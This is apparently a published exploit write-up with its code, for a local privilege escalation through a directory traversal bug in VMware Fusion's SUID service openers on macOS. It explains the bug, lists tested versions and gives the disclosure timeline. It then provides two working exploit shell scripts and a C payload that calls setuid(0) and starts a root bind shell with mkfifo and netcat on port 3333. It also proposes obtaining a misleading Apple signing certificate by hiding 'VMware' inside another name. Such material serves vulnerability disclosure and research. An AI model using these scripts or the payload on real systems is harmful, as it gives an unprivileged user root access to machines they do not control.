148 lines
No EOL
5.6 KiB
Markdown
148 lines
No EOL
5.6 KiB
Markdown
Local Privilege Escalation via VMWare Fusion
|
|
|
|
Overview:
|
|
A directory traversal vulnerability in VMware Fusion's SUID binaries can allow
|
|
an attacker to run commands as the root user.
|
|
|
|
Tested Versions:
|
|
* VMware Fusion 10.1.3 (9472307) on macOS 10.13.6
|
|
* VMware Fusion 11.0.0 (10120384) on macOS 10.14.1
|
|
* VMware Fusion 11.0.2 (10952296) on macOS 10.14.1
|
|
* VMware Fusion 11.5.0 (14634996) on macOS 10.15.1
|
|
* VMware Fusion 11.5.1 (15018442) on macOS 10.15.1
|
|
|
|
Exercising:
|
|
1) Ensure the VMware Fusion services are not running. If open, quit the VMware
|
|
Fusion GUI.
|
|
2) Run one of the exploit script (exploit_fusion.sh or exploit_usb.sh). They
|
|
will remain running until manually stopped via CTRL-c. The exploit will start
|
|
a netcat listener as root on TCP port 3333.
|
|
3) Connect to the netcat listener: nc 127.0.0.1 3333
|
|
|
|
Details:
|
|
This vulnerability is a directory traversal bug inside of VMware Fusion. Several
|
|
of the programs included in VMware Fusion rely on the their path on disk to find
|
|
other libraries, helper utilities, and service daemons. Two such instances of
|
|
this code pattern in SUID programs can be found in the "Open VMware Fusion
|
|
Services" executable and the "Open VMware USB Arbitrator Service" executable.
|
|
These programs try to open the service programs by looking for the files:
|
|
|
|
Open VMware Fusion Services:
|
|
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware Fusion Services
|
|
Open VMware USB Arbitrator Service:
|
|
$DIRECTORY_WITH_SUID_EXECUTABLE/../../../Contents/Library/services/VMware USB Arbitrator Service
|
|
|
|
While ordinarily this is fine, as any attempt to copy the programs will not copy
|
|
the SUID ownership of the file and any attempt to the move the programs will
|
|
fail without root access. Furthermore symbolic links will not trick the programs
|
|
into using the new location. However, on macOS unprivileged users can create
|
|
hard links to SUID executables, which will trick the programs. Thus, by creating
|
|
an adequate directory layout and hard linking to the SUID programs, we can trick
|
|
them into running an executable of our choice as the root user. The included
|
|
exploit_usb.sh and exploit_fusion.sh scripts setup the correct directory
|
|
structure and hard link, compile the payload, and run the linked program in
|
|
order to start a netcat listener as root on TCP port 3333.
|
|
|
|
In addition to the two SUID executables listed above, the SUID executable
|
|
"vmware-authd" is also vulnerable to this bug. vmware-authd tries to load two
|
|
libraries, libcrypto and libssl, from the incorrect directory. However, the two
|
|
libraries must be signed by apple or with an apple distributed signing
|
|
certificate from an organization containing the word "VMware". As such, this bug
|
|
is harder to exploit in vmware-authd. Depending on how strict Apple's developer
|
|
verification process is, it may be possible to fool Apple into granting a
|
|
matching certificate by hiding VMware within a phrase, such as with a
|
|
certificate for "Never Mind Where cloud services inc (NVMware Inc)".
|
|
|
|
One limitation to this vulnerability is that these two vulnerable service
|
|
openers will not try to open their services if the service is already running.
|
|
Thus, the exploit will not work if the "VMware USB Arbitrator Service" and
|
|
"VMware Fusion Services" services are already running. Thus, if the VMware
|
|
Fusion GUI is open, this vulnerability cannot be exploited. However, closing the
|
|
GUI will stop the services associated with the vulnerable service openers and
|
|
make the vulnerability once again exploitable. In contrast, the library
|
|
injection attack is not subject to these restrictions (but requires the
|
|
appropriate certificate).
|
|
|
|
As a side note, the vulnerable code is also used in VMware Workstation on Linux.
|
|
However, Linux does not allow an unprivileged user to create hard links to files
|
|
they do not own. As such, this bug is not exploitable in VMware Workstation on
|
|
Linux.
|
|
|
|
Timeline:
|
|
2019.11.12 Reported to VMware
|
|
2019.12.18 VMware confirms they can reproduce the issue
|
|
2019.12.24 Asked for status update, were told we'd get an update in early Jan
|
|
2020.01.08 Requested status update, were told fix scheduled for April 2020
|
|
2020.01.15 Called VMware to discuss
|
|
2020.01.21 Follow up meeting with VMware to discuss
|
|
2020.03.17 VMware releases patch & public disclosure
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## exploit_fusion.sh
|
|
```
|
|
#!/bin/sh
|
|
|
|
# Remake the necessary folder structure
|
|
rm -rf a Contents
|
|
mkdir -p Contents/Library/services/
|
|
mkdir -p a/b/c/
|
|
|
|
# Build our payload
|
|
clang payload.c -o "Contents/Library/services/VMware Fusion Services"
|
|
|
|
# Create a hard link to the VMware SUID opener program
|
|
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ Fusion\ Services a/b/c/linked
|
|
|
|
# Run the linked program, which causes it to be confused about the path, and
|
|
# launch our payload. Additionally if our payload exits, VMware will relaunch
|
|
# it
|
|
a/b/c/linked
|
|
```
|
|
## exploit_fusion.sh EOF
|
|
|
|
|
|
## exploit_usb.sh
|
|
```
|
|
#!/bin/sh
|
|
|
|
# Remake the necessary folder structure
|
|
rm -rf a Contents
|
|
mkdir -p Contents/Library/services/
|
|
mkdir -p a/b/c/
|
|
|
|
# Build our payload
|
|
clang payload.c -o "Contents/Library/services/VMware USB Arbitrator Service"
|
|
|
|
# Create a hard link to the VMware SUID opener program
|
|
ln /Applications/VMware\ Fusion.app/Contents/Library/services/Open\ VMware\ USB\ Arbitrator\ Service a/b/c/linked
|
|
|
|
# Run the linked program, which causes it to be confused about the path, and
|
|
# launch our payload. Additionally if our payload exits, VMware will relaunch
|
|
# it
|
|
a/b/c/linked
|
|
```
|
|
## exploit_usb.sh EOF
|
|
|
|
|
|
## payload.c
|
|
```
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
int main(int argc, char**argv) {
|
|
setuid(0);
|
|
system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 3333 > /tmp/f");
|
|
return 0;
|
|
}
|
|
```
|
|
## payload.c EOF |